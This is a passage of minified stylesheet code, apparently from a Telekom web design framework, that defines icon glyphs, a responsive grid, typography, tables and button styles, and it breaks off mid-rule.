format(\"woff\"),url(\"../fonts/telekomicon-solid.ttf\") format(\"truetype\"),url(\"../fonts/telekomicon-solid.svg#telekomicon-solid\") format(\"svg\")}.icon{position:relative;bottom:2px;vertical-align:middle;display:inline-block;font-family:'Telekom-Icon';font-style:normal;font-weight:normal;line-height:1;text-transform:none !important;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-solid{font-weight:700}.icon-large{font-size:36px}.icon-warning:before{content:'\\21'}.icon-navigation-up:before{content:'\\22'}.icon-navigation-down:before{content:'\\24'}.icon-navigation-left:before{content:'\\25'}.icon-export:before{content:'\\26'}.icon-import:before{content:'\\28'}.icon-scroll-left:before{content:'\\29'}.icon-favorites:before{content:'\\2a'}.icon-add:before{content:'\\2b'}.icon-decrease:before{content:'\\2d'}.icon-record:before{content:'\\3b'}.icon-scroll-right:before{content:'\\2f'}.icon-tile-view:before{content:'\\30'}.icon-skip-to-start:before{content:'\\31'}.icon-previous:before{content:'\\32'}.icon-rewind:before{content:'\\33'}.icon-play:before{content:'\\34'}.icon-pause:before{content:'\\35'}.icon-stop:before{content:'\\36'}.icon-fast-forward:before{content:'\\37'}.icon-next:before{content:'\\38'}.icon-skip-to-end:before{content:'\\39'}.icon-more:before{content:'\\3a'}.icon-help_2:before{content:'\\3c'}.icon-list-view:before{content:'\\3d'}.icon-information_2:before{content:'\\3e'}.icon-help:before{content:'\\3f'}.icon-calendar:before{content:'\\41'}.icon-shopping-cart:before{content:'\\42'}.icon-copy:before{content:'\\43'}.icon-move-to-trash:before{content:'\\44'}.icon-tablet-pc:before{content:'\\45'}.icon-folder:before{content:'\\46'}.icon-filter:before{content:'\\47'}.icon-login:before{content:'\\48'}.icon-comment:before{content:'\\49'}.icon-start-call:before{content:'\\4a'}.icon-speaker-off:before{content:'\\4b'}.icon-lock:before{content:'\\4c'}.icon-microphone-socket:before{content:'\\4d'}.icon-ringtone-off:before{content:'\\4e'}.icon-clock:before{content:'\\4f'}.icon-add-to-watchlist:before{content:'\\50'}.icon-computer:before{content:'\\51'}.icon-iptv:before{content:'\\52'}.icon-settings:before{content:'\\53'}.icon-digits:before{content:'\\54'}.icon-my-profile:before{content:'\\55'}.icon-confirm:before{content:'\\56'}.icon-smartphone:before{content:'\\57'}.icon-cancel:before{content:'\\58'}.icon-cloud:before{content:'\\59'}.icon-zoom-out:before{content:'\\5a'}.icon-attachment:before{content:'\\61'}.icon-bookmark:before{content:'\\62'}.icon-context-menu:before{content:'\\63'}.icon-download:before{content:'\\64'}.icon-edit:before{content:'\\65'}.icon-file:before{content:'\\66'}.icon-reload:before{content:'\\67'}.icon-home:before{content:'\\68'}.icon-information:before{content:'\\69'}.icon-end-call:before{content:'\\6a'}.icon-speaker-on:before{content:'\\6b'}.icon-link:before{content:'\\6c'}.icon-message:before{content:'\\6d'}.icon-ringtone-on:before{content:'\\6e'}.icon-loading-indicator:before{content:'\\6f'}.icon-print:before{content:'\\70'}.icon-search:before{content:'\\71'}.icon-reply:before{content:'\\72'}.icon-synchronize:before{content:'\\73'}.icon-telekom-1T1:before{content:'\\74'}.icon-upload:before{content:'\\75'}.icon-success:before{content:'\\76'}.icon-forward:before{content:'\\77'}.icon-error:before{content:'\\78'}.icon-share:before{content:'\\79'}.icon-zoom-in:before{content:'\\7a'}.icon-navigation-right:before{content:'\\a7'}.icon-maximize:before{content:'\\dc'}.icon-cover-view:before{content:'\\df'}.icon-warning_2:before{content:'\\e4'}.icon-minimize:before{content:'\\fc'}.icon-frame{width:48px;height:48px;text-align:center;white-space:nowrap;padding:0}.icon-frame:before{content:'';display:inline-block;height:100%;vertical-align:middle}.icon-frame>.icon{display:inline-block;height:auto;vertical-align:middle}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:transparent}body{color:#383838;font-family:\"TeleGroteskScreen\",\"Helvetica Neue\",Helvetica,Arial,sans-serif;font-size:18px;line-height:1.25}a{color:#0090c4;text-decoration:none}a:focus{color:#00688e;text-decoration:underline;outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover{color:#0082b2;text-decoration:underline}a:active{color:#00739d}hr{margin-top:23px;margin-bottom:23px;border:0;border-top:1px solid #dcdcdc}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}.container-liquid,.container-fixed{display:block;width:100%;clear:both}.container-liquid:before,.container-liquid:after,.container-fixed:before,.container-fixed:after{content:' ';display:table}.container-liquid:after,.container-fixed:after{clear:both}.container-fixed.left{margin-left:0;margin-right:auto;float:left}.container-fixed,.container-fixed.center{margin-left:auto;margin-right:auto}.container-fixed.right{margin-left:auto;margin-right:0;float:right}@media screen and (min-width: 1024px) and (max-width: 1499px){.container-fixed{width:1009px}}@media screen and (min-width: 1500px){.container-fixed{width:1297px}}.row{margin-left:0;margin-right:0}.row:before,.row:after{content:' ';display:table}.row:after{clear:both}.row .row{margin-left:-12px;margin-right:-12px}.col-l-1,.col-l-2,.col-l-3,.col-l-4,.col-l-5,.col-l-6,.col-l-7,.col-l-8,.col-l-9,.col-l-10,.col-l-11,.col-l-12,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-m-1,.col-m-2,.col-m-3,.col-m-4,.col-m-5,.col-m-6,.col-m-7,.col-m-8,.col-m-9,.col-m-10,.col-m-11,.col-m-12,.col-s-1,.col-s-2,.col-s-3,.col-s-4,.col-s-5,.col-s-6,.col-s-7,.col-s-8,.col-s-9,.col-s-10,.col-s-11,.col-s-12,.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{padding-left:12px;padding-right:12px;position:relative;float:left;min-height:1px}.col-l-1{width:8.33334%}.col-l-2{width:16.66668%}.col-l-3{width:25.00001%}.col-l-4{width:33.33334%}.col-l-5{width:41.66668%}.col-l-6{width:50.00001%}.col-l-7{width:58.33334%}.col-l-8{width:66.66668%}.col-l-9{width:75.00001%}.col-l-10{width:83.33334%}.col-l-11{width:91.66668%}.col-l-12{width:100.00001%}.offset-l-0{margin-left:0}.offset-l-1{margin-left:8.33333%}.offset-l-2{margin-left:16.66667%}.offset-l-3{margin-left:25%}.offset-l-4{margin-left:33.33333%}.offset-l-5{margin-left:41.66667%}.offset-l-6{margin-left:50%}.offset-l-7{margin-left:58.33333%}.offset-l-8{margin-left:66.66667%}.offset-l-9{margin-left:75%}.offset-l-10{margin-left:83.33333%}.offset-l-11{margin-left:91.66667%}@media screen and (min-width: 1500px){.col-xl-1{width:8.33334%}.col-xl-2{width:16.66668%}.col-xl-3{width:25.00001%}.col-xl-4{width:33.33334%}.col-xl-5{width:41.66668%}.col-xl-6{width:50.00001%}.col-xl-7{width:58.33334%}.col-xl-8{width:66.66668%}.col-xl-9{width:75.00001%}.col-xl-10{width:83.33334%}.col-xl-11{width:91.66668%}.col-xl-12{width:100.00001%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333%}.offset-xl-2{margin-left:16.66667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333%}.offset-xl-5{margin-left:41.66667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333%}.offset-xl-8{margin-left:66.66667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333%}.offset-xl-11{margin-left:91.66667%}}@media screen and (max-width: 1023px){.col-m-1{width:8.33334%}.col-m-2{width:16.66668%}.col-m-3{width:25.00001%}.col-m-4{width:33.33334%}.col-m-5{width:41.66668%}.col-m-6{width:50.00001%}.col-m-7{width:58.33334%}.col-m-8{width:66.66668%}.col-m-9{width:75.00001%}.col-m-10{width:83.33334%}.col-m-11{width:91.66668%}.col-m-12{width:100.00001%}.offset-m-0{margin-left:0}.offset-m-1{margin-left:8.33333%}.offset-m-2{margin-left:16.66667%}.offset-m-3{margin-left:25%}.offset-m-4{margin-left:33.33333%}.offset-m-5{margin-left:41.66667%}.offset-m-6{margin-left:50%}.offset-m-7{margin-left:58.33333%}.offset-m-8{margin-left:66.66667%}.offset-m-9{margin-left:75%}.offset-m-10{margin-left:83.33333%}.offset-m-11{margin-left:91.66667%}}@media screen and (max-width: 639px){.col-s-1{width:8.33334%}.col-s-2{width:16.66668%}.col-s-3{width:25.00001%}.col-s-4{width:33.33334%}.col-s-5{width:41.66668%}.col-s-6{width:50.00001%}.col-s-7{width:58.33334%}.col-s-8{width:66.66668%}.col-s-9{width:75.00001%}.col-s-10{width:83.33334%}.col-s-11{width:91.66668%}.col-s-12{width:100.00001%}.offset-s-0{margin-left:0}.offset-s-1{margin-left:8.33333%}.offset-s-2{margin-left:16.66667%}.offset-s-3{margin-left:25%}.offset-s-4{margin-left:33.33333%}.offset-s-5{margin-left:41.66667%}.offset-s-6{margin-left:50%}.offset-s-7{margin-left:58.33333%}.offset-s-8{margin-left:66.66667%}.offset-s-9{margin-left:75%}.offset-s-10{margin-left:83.33333%}.offset-s-11{margin-left:91.66667%}}@media screen and (max-width: 319px){.col-xs-1{width:8.33334%}.col-xs-2{width:16.66668%}.col-xs-3{width:25.00001%}.col-xs-4{width:33.33334%}.col-xs-5{width:41.66668%}.col-xs-6{width:50.00001%}.col-xs-7{width:58.33334%}.col-xs-8{width:66.66668%}.col-xs-9{width:75.00001%}.col-xs-10{width:83.33334%}.col-xs-11{width:91.66668%}.col-xs-12{width:100.00001%}.offset-xs-0{margin-left:0}.offset-xs-1{margin-left:8.33333%}.offset-xs-2{margin-left:16.66667%}.offset-xs-3{margin-left:25%}.offset-xs-4{margin-left:33.33333%}.offset-xs-5{margin-left:41.66667%}.offset-xs-6{margin-left:50%}.offset-xs-7{margin-left:58.33333%}.offset-xs-8{margin-left:66.66667%}.offset-xs-9{margin-left:75%}.offset-xs-10{margin-left:83.33333%}.offset-xs-11{margin-left:91.66667%}}.col-hide{display:none !important}@media screen and (min-width: 1024px) and (max-width: 1499px){.col-l-hide{display:none !important}}@media screen and (min-width: 1500), screen and (max-width: 1023px){.col-l-show{display:none !important}}@media screen and (min-width: 1500px){.col-xl-hide{display:none !important}}@media screen and (max-width: 1499px){.col-xl-show{display:none !important}}@media screen and (min-width: 640px) and (max-width: 1023px){.col-m-hide{display:none !important}}@media screen and (max-width: 639px), screen and (min-width: 1024px){.col-m-show{display:none !important}}@media screen and (min-width: 320px) and (max-width: 639px){.col-s-hide{display:none !important}}@media screen and (max-width: 319px), screen and (min-width: 640px){.col-s-show{display:none !important}}@media screen and (max-width: 319px){.col-xs-hide{display:none !important}}@media screen and (min-width: 320px){.col-xs-show{display:none !important}}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-weight:normal;margin:0}h1.brand,h2.brand,h3.brand,h4.brand,h5.brand,h6.brand,.h1.brand,.h2.brand,.h3.brand,.h4.brand,.h5.brand,.h6.brand{font-weight:800;text-transform:uppercase}h1.underline,h1.cluster,h2.underline,h2.cluster,h3.underline,h3.cluster,h4.underline,h4.cluster,h5.underline,h5.cluster,h6.underline,h6.cluster,.h1.underline,.h1.cluster,.h2.underline,.h2.cluster,.h3.underline,.h3.cluster,.h4.underline,.h4.cluster,.h5.underline,.h5.cluster,.h6.underline,.h6.cluster{padding-left:12px;padding-right:12px;border-bottom:1px solid #b2b2b2}h1.underline,h2.underline,h3.underline,h4.underline,h5.underline,h6.underline,.h1.underline,.h2.underline,.h3.underline,.h4.underline,.h5.underline,.h6.underline{text-align:center}h1.cluster,h2.cluster,h3.cluster,h4.cluster,h5.cluster,h6.cluster,.h1.cluster,.h2.cluster,.h3.cluster,.h4.cluster,.h5.cluster,.h6.cluster{color:#757575}h1.thin,h2.thin,h3.thin,h4.thin,h5.thin,h6.thin,.h1.thin,.h2.thin,.h3.thin,.h4.thin,.h5.thin,.h6.thin{font-weight:200}h1.marketing-l,h2.marketing-l,h3.marketing-l,h4.marketing-l,h5.marketing-l,h6.marketing-l,.h1.marketing-l,.h2.marketing-l,.h3.marketing-l,.h4.marketing-l,.h5.marketing-l,.h6.marketing-l{font-size:48px;margin-top:11.4px;padding-bottom:-3.36px;font-weight:200}h1.marketing-l.underline,h1.marketing-l.cluster,h2.marketing-l.underline,h2.marketing-l.cluster,h3.marketing-l.underline,h3.marketing-l.cluster,h4.marketing-l.underline,h4.marketing-l.cluster,h5.marketing-l.underline,h5.marketing-l.cluster,h6.marketing-l.underline,h6.marketing-l.cluster,.h1.marketing-l.underline,.h1.marketing-l.cluster,.h2.marketing-l.underline,.h2.marketing-l.cluster,.h3.marketing-l.underline,.h3.marketing-l.cluster,.h4.marketing-l.underline,.h4.marketing-l.cluster,.h5.marketing-l.underline,.h5.marketing-l.cluster,.h6.marketing-l.underline,.h6.marketing-l.cluster{margin-top:42.4px}h1.marketing-xl,h2.marketing-xl,h3.marketing-xl,h4.marketing-xl,h5.marketing-xl,h6.marketing-xl,.h1.marketing-xl,.h2.marketing-xl,.h3.marketing-xl,.h4.marketing-xl,.h5.marketing-xl,.h6.marketing-xl{font-size:60px;margin-top:8.25px;padding-bottom:-7.2px;font-weight:200}h1.marketing-xl.underline,h1.marketing-xl.cluster,h2.marketing-xl.underline,h2.marketing-xl.cluster,h3.marketing-xl.underline,h3.marketing-xl.cluster,h4.marketing-xl.underline,h4.marketing-xl.cluster,h5.marketing-xl.underline,h5.marketing-xl.cluster,h6.marketing-xl.underline,h6.marketing-xl.cluster,.h1.marketing-xl.underline,.h1.marketing-xl.cluster,.h2.marketing-xl.underline,.h2.marketing-xl.cluster,.h3.marketing-xl.underline,.h3.marketing-xl.cluster,.h4.marketing-xl.underline,.h4.marketing-xl.cluster,.h5.marketing-xl.underline,.h5.marketing-xl.cluster,.h6.marketing-xl.underline,.h6.marketing-xl.cluster{margin-top:39.25px}h1 small,h1 .small,h2 small,h2 .small,h3 small,h3 .small,h4 small,h4 .small,h5 small,h5 .small,h6 small,h6 .small,.h1 small,.h1 .small,.h2 small,.h2 .small,.h3 small,.h3 .small,.h4 small,.h4 .small,.h5 small,.h5 .small,.h6 small,.h6 .small{color:#757575;font-size:84%}h1,.h1{font-size:36px;margin-top:14.55px;padding-bottom:0.48px}h1.underline,h1.cluster,.h1.underline,.h1.cluster{margin-top:45.55px}h2,.h2{font-size:27px;margin-top:16.9125px;padding-bottom:3.36px}h2.underline,h2.cluster,.h2.underline,.h2.cluster{margin-top:47.9125px}h3,.h3{font-size:24px;margin-top:17.7px;padding-bottom:4.32px}h3.underline,h3.cluster,.h3.underline,.h3.cluster{margin-top:48.7px}h4,.h4{font-size:21px;margin-top:18.4875px;padding-bottom:5.28px}h4.underline,h4.cluster,.h4.underline,.h4.cluster{margin-top:49.4875px}h5,.h5{font-size:18px;margin-top:19.275px;padding-bottom:6.24px}h5.underline,h5.cluster,.h5.underline,.h5.cluster{margin-top:50.275px}h6,.h6{font-size:15px;margin-top:20.0625px;padding-bottom:7.2px}h6.underline,h6.cluster,.h6.underline,.h6.cluster{margin-top:51.0625px}p{margin:0;padding-top:7.275px;padding-bottom:6.24px}p.text-xsmall{padding-top:8.325px;padding-bottom:7.52px}p.text-small{padding-top:8.0625px;padding-bottom:7.2px}p.text-large{padding-top:6.4875px;padding-bottom:5.28px}p.text-xlarge{padding-top:5.7px;padding-bottom:4.32px}small,.text-xsmall{font-size:14px}.text-small{font-size:15px}.text-large{font-size:21px}.text-xlarge{font-size:24px}.text-xxlarge{font-size:27px}.text-xxxlarge{font-size:27px}.text-marketing-l{font-size:48px;margin-top:11.4px;padding-bottom:-3.36px;font-weight:200}.text-marketing-l.underline,.text-marketing-l.cluster{margin-top:42.4px}.text-marketing-xl{font-size:60px;margin-top:8.25px;padding-bottom:-7.2px;font-weight:200}.text-marketing-xl.underline,.text-marketing-xl.cluster{margin-top:39.25px}.text-thin{font-weight:200}.text-semibold{font-weight:600}.text-strong,.text-bold{font-weight:bold}.text-emphased,.text-italic{font-style:italic}dfn,abbr,abbr[title]{background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAACCAYAAAB/qH1jAAAAGElEQVQIW2O0O/DhPwMQHHIQYATRjOgCAKclCAMmY8YrAAAAAElFTkSuQmCC\");background-position:0 1em;background-repeat:repeat-x;background-size:2px 1px;border-bottom:0;font-style:inherit;cursor:help}mark{background-color:#ff0;color:#383838;padding:0 0.25em}.text-positive{color:#6bb324}.text-positive mark{color:#fff;background-color:#6bb324}.text-warning{color:#dbad39}.text-warning mark{color:#fff;background-color:#dbad39}.text-negative{color:#d90000}.text-negative mark{color:#fff;background-color:#d90000}.text-brand{color:#e20074}.text-brand mark{color:#fff;background-color:#e20074}.text-inactive{color:#e5e5e5}.text-inactive mark{color:#fff;background-color:#e5e5e5}.list-unordered,.list-unordered-plain{list-style:none;margin:12px 0 0 0;padding:0 0 0 18px}.list-unordered>li:before,.list-unordered-plain>li:before{content:'\\2013';padding-right:12px}.list-unordered .list-ordered,.list-unordered .list-unordered,.list-unordered .list-unordered-plain,.list-unordered-plain .list-ordered,.list-unordered-plain .list-unordered,.list-unordered-plain .list-unordered-plain{margin-top:0}.list-unordered-bullet>li:before{content:'\\25AA'}.list-unordered-plain>li:before{content:none;padding-right:0}.list-ordered{list-style:none;margin:12px 0 0 0;padding:0 0 0 20px;counter-reset:list-index}.list-ordered>li{counter-increment:list-index}.list-ordered[reversed]>li{counter-increment:list-index-1}.list-ordered>li:before{content:counters(list-index,\".\") \"\";padding-right:12px}.list-ordered .list-ordered,.list-ordered .list-unordered{margin-top:0}.list-ordered-semibold>li:before{font-weight:600}.list-desc{margin-top:0}.list-desc>dd{margin-left:0;padding-bottom:6.24px}.list-desc-horizontal:before,.list-desc-horizontal:after{content:' ';display:table}.list-desc-horizontal:after{clear:both}.list-desc-horizontal>dt{text-align:left;font-weight:600}.list-desc-horizontal>dd{margin:0;padding-bottom:6.24px}@media (min-width: 640px){.list-desc-horizontal>dt{clear:left;float:left;text-align:right;width:148px;font-weight:normal}.list-desc-horizontal>dd{margin-left:160px;padding-bottom:0}}.list-desc-semibold>dt{font-weight:600}.price{margin:0;padding:0;vertical-align:baseline;display:inline-block;font-size:27px}.price>sup{line-height:1.25;display:inline-block;vertical-align:top}.price>sup{font-size:18px;top:2px}.price-large{font-size:30px}.price-large>sup{font-size:20px;top:1px}.price-xlarge{font-size:36px}.price-xlarge>sup{font-size:24px;top:2px}.price-expired{font-size:28px}.price-expired>sup{font-size:28px}.quote{font-size:18px;font-style:italic;margin:0;padding:0}.quote-author{font-size:15px;font-style:normal;font-weight:bold;margin:0;margin-top:0.25em;padding:0}.quote-author cite{font-style:normal}.figure{font-size:18px;margin:12px 0 0 0;padding:0 0 0 12px;border-left:1px solid #dcdcdc}.quote-list{list-style:none;padding-left:24px}.quote-list .quote-list-item{border-left:1px solid #dcdcdc;padding:0 0 0 12px}.quote-list .quote-list-item .figure{border-left:0;padding-left:0}.quote-list .quote-list-item *.quote-list{padding-left:12px}address{font-style:normal}.address-header small,.address-body,.address-footer{font-size:84%}.address-header,.address-body,.address-footer{margin:0;padding:0}.address-header+.address-body,.address-body+.address-footer{margin-top:0.25em}.address-header{font-weight:bold}.address-footer label{min-width:40px}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.text-l-left{text-align:left}.text-l-center{text-align:center}.text-l-right{text-align:right}@media screen and (max-width: 1023px){.text-m-left{text-align:left}.text-m-center{text-align:center}.text-m-right{text-align:right}}@media screen and (max-width: 639px){.text-s-left{text-align:left}.text-s-center{text-align:center}.text-s-right{text-align:right}}@media screen and (min-width: 1500px){.text-xl-left{text-align:left}.text-xl-center{text-align:center}.text-xl-right{text-align:right}}.text-nowrap{white-space:nowrap}.text-ellipsis{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.img-round{border-radius:50%;vertical-align:bottom}.img-thumbnail{max-width:100%;max-height:100%;height:auto;padding:2px;border:1px solid #b2b2b2;background:#fff}.img-frame{width:48px;height:48px;text-align:center;white-space:nowrap;padding:0}.img-frame:before{content:'';display:inline-block;height:100%;vertical-align:middle}.img-frame>img{display:inline-block;height:auto;vertical-align:middle}.img-frame-small{width:38px;height:38px}.img-vignette-square{display:inline-block}.img-vignette-square>img{outline:1px solid rgba(0,0,0,0.3);outline-offset:-1px;padding:.5px}.table{width:100%}.table>thead>tr>th,.table>thead>tr>td,.table>tbody>tr>th,.table>tbody>tr>td,.table>tfoot>tr>th,.table>tfoot>tr>td{padding:6px 11px;vertical-align:top;border-bottom:1px solid #dcdcdc}.table>thead>tr>th.numeric,.table>thead>tr>td.numeric,.table>tbody>tr>th.numeric,.table>tbody>tr>td.numeric,.table>tfoot>tr>th.numeric,.table>tfoot>tr>td.numeric{text-align:right}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th{text-align:left}.table>thead>tr>th,.table>tfoot>tr>th{font-weight:600}.table>thead>tr>th{border-bottom:1px solid #b2b2b2;border-top:0;vertical-align:bottom}.table>tfoot>tr>th{border-top:1px double #b2b2b2;border-bottom:1px solid #b2b2b2}.table>caption{text-align:left;font-size:24px;padding:6px 11px;border-bottom:1px solid #b2b2b2;margin-bottom:12px}.table-hover>tbody>tr>th,.table-hover>tbody>tr>td{-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.table-hover>tbody>tr:hover>th,.table-hover>tbody>tr:hover>td{color:#262626;background-color:#e0e0e0;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.table-striped>tbody>tr:nth-child(odd)>th,.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr.odd>th,.table-striped>tbody>tr.odd>td{background-color:#f2f2f2;color:#383838}.table-striped.table-hover>tbody>tr:nth-child(odd):hover>th,.table-striped.table-hover>tbody>tr:nth-child(odd):hover>td{background-color:#e0e0e0;color:#262626}.table>thead>tr.positive>th,.table>thead>tr.positive>td,.table>thead>tr>th.positive,.table>thead>tr>td.positive,.table>tbody>tr.positive>th,.table>tbody>tr.positive>td,.table>tbody>tr>th.positive,.table>tbody>tr>td.positive,.table>tfoot>tr.positive>th,.table>tfoot>tr.positive>td,.table>tfoot>tr>th.positive,.table>tfoot>tr>td.positive{background:#f7fbf4;color:#5b991e}.table-hover>tbody>tr:hover.positive>th,.table-hover>tbody>tr:hover.positive>td,.table-hover>tbody>tr:hover>th.positive,.table-hover>tbody>tr:hover>td.positive{color:#50871a;background-color:#e1efd3}.table>thead>tr.warning>th,.table>thead>tr.warning>td,.table>thead>tr>th.warning,.table>thead>tr>td.warning,.table>tbody>tr.warning>th,.table>tbody>tr.warning>td,.table>tbody>tr>th.warning,.table>tbody>tr>td.warning,.table>tfoot>tr.warning>th,.table>tfoot>tr.warning>td,.table>tfoot>tr>th.warning,.table>tfoot>tr>td.warning{background:#fdfaf5;color:#c19932}.table-hover>tbody>tr:hover.warning>th,.table-hover>tbody>tr:hover.warning>td,.table-hover>tbody>tr:hover>th.warning,.table-hover>tbody>tr:hover>td.warning{color:#af8b2d;background-color:#f7eed7}.table>thead>tr.negative>th,.table>thead>tr.negative>td,.table>thead>tr>th.negative,.table>thead>tr>td.negative,.table>tbody>tr.negative>th,.table>tbody>tr.negative>td,.table>tbody>tr>th.negative,.table>tbody>tr>td.negative,.table>tfoot>tr.negative>th,.table>tfoot>tr.negative>td,.table>tfoot>tr>th.negative,.table>tfoot>tr>td.negative{background:#fdf2f2;color:#bf0000}.table-hover>tbody>tr:hover.negative>th,.table-hover>tbody>tr:hover.negative>td,.table-hover>tbody>tr:hover>th.negative,.table-hover>tbody>tr:hover>td.negative{color:#ad0000;background-color:#f7cccc}.table>thead>tr.brand>th,.table>thead>tr.brand>td,.table>thead>tr>th.brand,.table>thead>tr>td.brand,.table>tbody>tr.brand>th,.table>tbody>tr.brand>td,.table>tbody>tr>th.brand,.table>tbody>tr>td.brand,.table>tfoot>tr.brand>th,.table>tfoot>tr.brand>td,.table>tfoot>tr>th.brand,.table>tfoot>tr>td.brand{background:#e20074;color:#fff}.table-hover>tbody>tr:hover.brand>th,.table-hover>tbody>tr:hover.brand>td,.table-hover>tbody>tr:hover>th.brand,.table-hover>tbody>tr:hover>td.brand{color:#ededed;background-color:#d0006a}.table>thead>tr.inactive>th,.table>thead>tr.inactive>td,.table>thead>tr>th.inactive,.table>thead>tr>td.inactive,.table>tbody>tr.inactive>th,.table>tbody>tr.inactive>td,.table>tbody>tr>th.inactive,.table>tbody>tr>td.inactive,.table>tfoot>tr.inactive>th,.table>tfoot>tr.inactive>td,.table>tfoot>tr>th.inactive,.table>tfoot>tr>td.inactive{background:transparent;color:#e5e5e5}.table-small>thead>tr>th,.table-small>thead>tr>td,.table-small>tbody>tr>th,.table-small>tbody>tr>td,.table-small>tfoot>tr>th,.table-small>tfoot>tr>td{font-size:14px;padding:5px 23px}.table-small>caption{font-size:18px}.btn{display:inline-block;text-align:center;vertical-align:middle;cursor:pointer;border:1px solid transparent;border-radius:4px;font-size:18px;line-height:1.25;padding:6px 23px;font-weight:normal;white-space:nowrap;background-image:none;text-decoration:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.btn>.icon{padding-right:12px}.btn>.icon-right{padding-left:12px;padding-right:0}.btn.focus,.btn:focus{text-decoration:none;outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.hover,.btn:hover{text-decoration:none;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.btn.disabled,.btn[disabled]{cursor:not-allowed;background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-clean,.btn-default{background-color:#ededed;border-color:#b2b2b2;color:#383838}.hover.btn-clean,.btn-clean:hover,.btn-default.hover,.btn-default:hover{background-color:#dbdbdb;border-color:#a0a0a0;color:#383838}.active.btn-clean,.btn-clean:active,.btn-default.active,.btn-default:active{background-color:#c6c6c6;border-color:#8b8b8b;color:#383838}.disabled.btn-clean,.disabled.focus.btn-clean,.disabled.btn-clean:focus,.disabled.hover.btn-clean,.disabled.btn-clean:hover,[disabled].btn-clean,[disabled].focus.btn-clean,[disabled].btn-clean:focus,[disabled].hover.btn-clean,[disabled].btn-clean:hover,.btn-default.disabled,.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled.hover,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled].hover,.btn-default[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-brand{background-color:#e20074;border-color:#bb0060;color:#fff}.btn-brand.hover,.btn-brand:hover{background-color:#d0006a;border-color:#a90056;color:#fff}.btn-brand.active,.btn-brand:active{background-color:#bb0060;border-color:#94004c;color:#fff}.btn-brand.disabled,.btn-brand.disabled.focus,.btn-brand.disabled:focus,.btn-brand.disabled.hover,.btn-brand.disabled:hover,.btn-brand[disabled],.btn-brand[disabled].focus,.btn-brand[disabled]:focus,.btn-brand[disabled].hover,.btn-brand[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-positive{background-color:#6bb324;border-color:#548c1c;color:#383838}.btn-positive.hover,.btn-positive:hover{background-color:#60a120;border-color:#497a18;color:#383838}.btn-positive.active,.btn-positive:active{background-color:#548c1c;border-color:#3d6514;color:#383838}.btn-positive.disabled,.btn-positive.disabled.focus,.btn-positive.disabled:focus,.btn-positive.disabled.hover,.btn-positive.disabled:hover,.btn-positive[disabled],.btn-positive[disabled].focus,.btn-positive[disabled]:focus,.btn-positive[disabled].hover,.btn-positive[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-negative{background-color:#d90000;border-color:#b20000;color:#fff}.btn-negative.hover,.btn-negative:hover{background-color:#c70000;border-color:#a00000;color:#fff}.btn-negative.active,.btn-negative:active{background-color:#b20000;border-color:darkred;color:#fff}.btn-negative.disabled,.btn-negative.disabled.focus,.btn-negative.disabled:focus,.btn-negative.disabled.hover,.btn-negative.disabled:hover,.btn-negative[disabled],.btn-negative[disabled].focus,.btn-negative[disabled]:focus,.btn-negative[disabled].hover,.btn-negative[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-clean{background-color:transparent}.btn-clean,.btn-clean.focus,.btn-clean:focus,.btn-clean.hover,.btn-clean:hover,.btn-clean.active,.btn-clean:active{border-color:transparent}.btn-small{font-size:15px;padding:5px 23px}.btn-large{font-size:21px;padding:10px 23px}.btn-icon{padding:6px 11px}.btn-icon .icon{padding:0}.btn-minimal{padding:6px 